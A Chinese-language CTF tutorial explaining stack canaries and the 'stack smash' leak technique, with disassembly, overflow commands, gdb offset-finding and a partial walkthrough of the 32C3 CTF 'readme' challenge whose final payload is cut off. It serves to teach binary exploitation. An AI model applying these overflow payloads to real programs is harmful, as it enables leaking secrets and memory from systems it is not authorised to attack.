基于报错类的栈保护
canary这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。在brop中也提到过,通过爆破的办法去进行绕过canary保护,因为canary的值在每次程序运行时都是不同的,所以这需要一定的条件:fork的子进程不变,题目中很难遇到,所以我们可以使用stack smash的方法进行泄漏内容。canary位置位于高于局部变量,低于ESP,也就是在其中间,那么我们进行溢出攻击的时候,都会覆盖到canary的值,从而导致程序以外结束。具体看一下canary在哪?怎么形成的?又是怎么使用的?举一个小例子:
#include void main(int argc, char **argv) { char buf[10]; scanf("%s", buf);}pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
看一下其汇编代码
Dump of assembler code for function main: 0x0000000000000740 : push rbp 0x0000000000000741 : mov rbp,rsp 0x0000000000000744 : sub rsp,0x30 0x0000000000000748 : mov DWORD PTR [rbp-0x24],edi 0x000000000000074b : mov QWORD PTR [rbp-0x30],rsi 0x000000000000074f : mov rax,QWORD PTR fs:0x28 0x0000000000000758 : mov QWORD PTR [rbp-0x8],rax 0x000000000000075c : xor eax,eax 0x000000000000075e : lea rax,[rbp-0x12] 0x0000000000000762 : mov rsi,rax 0x0000000000000765 : lea rdi,[rip+0xb8] # 0x824 0x000000000000076c : mov eax,0x0 0x0000000000000771 : call 0x5f0 0x0000000000000776 : mov rax,QWORD PTR [rbp-0x30] 0x000000000000077a : lea rdx,[rip+0xa6] # 0x827 0x0000000000000781 : mov QWORD PTR [rax],rdx 0x0000000000000784 : nop 0x0000000000000785 : mov rax,QWORD PTR [rbp-0x8] 0x0000000000000789 : xor rax,QWORD PTR fs:0x28 0x0000000000000792 : je 0x799 0x0000000000000794 : call 0x5e0 0x0000000000000799 : leave 0x000000000000079a : ret End of assembler dump.
找到 和处
0x000000000000074f : mov rax,QWORD PTR fs:0x28 0x0000000000000758 : mov QWORD PTR [rbp-0x8],rax..... 0x0000000000000785 : mov rax,QWORD PTR [rbp-0x8] 0x0000000000000789 : xor rax,QWORD PTR fs:0x28
前两处是生成canary并且存在[rbp-0x8]中,怎是通过从fs:0x28的地方获取的,而且发现每次都会变化,无法预测。后两处则是程序执行完成后对[rbp-0x8]canary值与fs:0x28的值进行比较,如果xor操作后rax寄存器中值为0,那么程序自己就认为是没有被破坏,否则调用__stack_chk_fail函数。继续看该函数的内容和作用,会引出stack smash利用技巧。
__attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); }
void __attribute__ ((noreturn)) __fortify_fail (msg) const char *msg; { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "") } libc_hidden_def (__fortify_fail)
最终会调用fortify_fail函数中的libc_message (2, "* %s *: %s terminated\n", msg, __libc_argv[0] ?: "") ,关键点来了。一、可以打印信息二、__libc_argv[0]可控制那么__libc_argv[0]是什么呢?与打印信息又什么联系?libc_argv[0]则是* argv[ ]指针组的的元素,先看 main函数的原型,void main(int argc, char *argv)。其中参数argc是整数,表示使用命令行运行程序时传递了几个参数; argv[ ]是一个指针数组,用来存放指向你的字符串参数的指针,每一个元素指向一个参数。其中argv[0]指向程序运行的全路径名,也就是程序的名字,比如例子中的./a.out,argv[1] 指向在命令行中执行程序名后的第一个字符串,以此类推。但是这样看来,libc_argv[0]似乎是不可以控制的,或者只能使用修改程序名来进行控制。继续看这么一个小实验,先看一下这个错误信息是怎么打印的(至于为什么是输出50个字节,随后再探究)。
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out*** stack smashing detected ***: ./a.out terminated段错误
如果我们在程序中强行修改__libc_argv[0]会怎么样?
#include void main(int argc, char **argv) { char buf[10]; scanf("%s", buf); argv[0] = "stack smash!";}pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protectorpwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out*** stack smashing detected ***: stack smash! terminated段错误
可以发现成功控制了__libc_argv[0]的值,打印出来了想要的信息。综上所述,这一种基于报错类的栈保护,恰恰是可以报错,所以存在stack smash的绕过方法。
stack smash原理调试fortify_fail 函数,找到libc_message函数的部分汇编代码:
0x7ffff7b331d0 mov rax, qword ptr [rip + 0x2a5121]
然后获取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的内存单元。
对于这个例子来说,输入的长度达到0xf8字节,即可开始覆盖__libc_argv[0]的值,从而打印出来需要的信息,构造就相应的payload就行泄漏想要的内容,比如存储的flag内容、开启PIE的加载基址、canary的值等等。在一节里面,拿刚才的例子再做一个有意思的小实验:
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out*** stack smashing detected ***: ./a.out terminated段错误pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out*** stack smashing detected ***: terminated段错误pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out*** stack smashing detected ***: terminated段错误pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out段错误
buf(0x7fffffffcd00)和__libc_argv0
处相距0xf8(也就是说第249位会覆盖到0x7fffffffcdf8),那么输入247、248、249、250会出现三种情况,分别看一下对应情况下0x7fffffffcdf8的值:
达不到覆盖的距离:21:0108│ 0x7fffffffcdf8 —▸ 0x7fffffffd0d2 ◂— '/home/pwn/Desktop/a.out'刚好达到覆盖的距离,读入\x00刚好覆盖到:21:0108│ 0x7fffffffcdf8 —▸ 0x7fffffffd000 ◂— 9 /* '\t' */覆盖形成的地址在内存中可以找到:21:0108│ 0x7fffffffcdf8 —▸ 0x7fffffff0041 ◂— 0x0Cannot access memory at address 0x7fffff004141:21:0108│ 0x7fffffffcdf8 ◂— 0x7fffff004141 /* 'AA' */
因此在尝试寻找offset的时候,选择offset = 248。当然尝试的办法太慢了,直接gdb调试下断点,类似于例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。
题目一2015 年 32C3 CTF readme题目分析如下:
unsigned __int64 sub_4007E0()
{
__int64 v0; // rbx
int v1; // eax
__int64 v3; // [rsp+0h] [rbp-128h]
unsigned __int64 v4; // [rsp+108h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
if ( !_IO_gets(&v3) )
LABEL_9:
_exit(1);
v0 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
LABEL_8:
puts("Thank you, bye!");
return __readfsqword(0x28u) ^ v4;
}
pwn@pwn-PC:~/Desktop$ ./readme.bin
Hello!
What's your name? aaa
Nice to meet you, aaa.
Please overwrite the flag: aaa
Thank you, bye!
pwn@pwn-PC:~/Desktop$ checksec readme.bin
[*] '/home/pwn/Desktop/readme.bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
程序中存在两次输入,并且可以发现_IO_gets(&v3)处存在明显的栈溢出。尝试找到__libc_argv[0]的位置
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"\n"'|./readme.binHello!What's your name? Nice to meet you, AAAAAAAA...Please overwrite the flag: Thank you, bye!*** stack smashing detected ***: ./readme.bin terminated
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"\n"'|./readme.binHello!What's your name? Nice to meet you, AAAAAAAA...Please overwrite the flag: Thank you, bye!*** stack smashing detected ***: ./readme.bin terminated
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"\n"'|./readme.binHello!What's your name? Nice to meet you, AAAAAAAA...Please overwrite the flag: Thank you, bye!*** stack smashing detected ***: terminated
因此offset = 536。为了做题的效率,不可能去一个一个尝试,如下:
gdb-peda$ find /homeSearching for '/home' in: None rangesFound 5 results, display max 5 items:[stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")[stack] : 0x7fffffffec71 ("/home/pwn/Desktop")[stack] : 0x7fffffffec91 ("/home/pwn")[stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority")[stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin")gdb-peda$ find 0x7fffffffd0c8Searching for '0x7fffffffd0c8' in: None rangesFound 2 results, display max 2 items: libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")[stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")gdb-peda$ distance $rsp 0x7fffffffcde8From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords这个计算距离只是特例,最好是按照上一部分例子中的方法来计算,下断点,distance 地址1 地址2.
可以在IDA下发现.data段的变量
.data:0000000000600D20 byte_600D20 db 33h ; DATA XREF: sub_4007E0+6E↑w.data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0
只需要将此变量进行显示即可,于是构造payload:
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录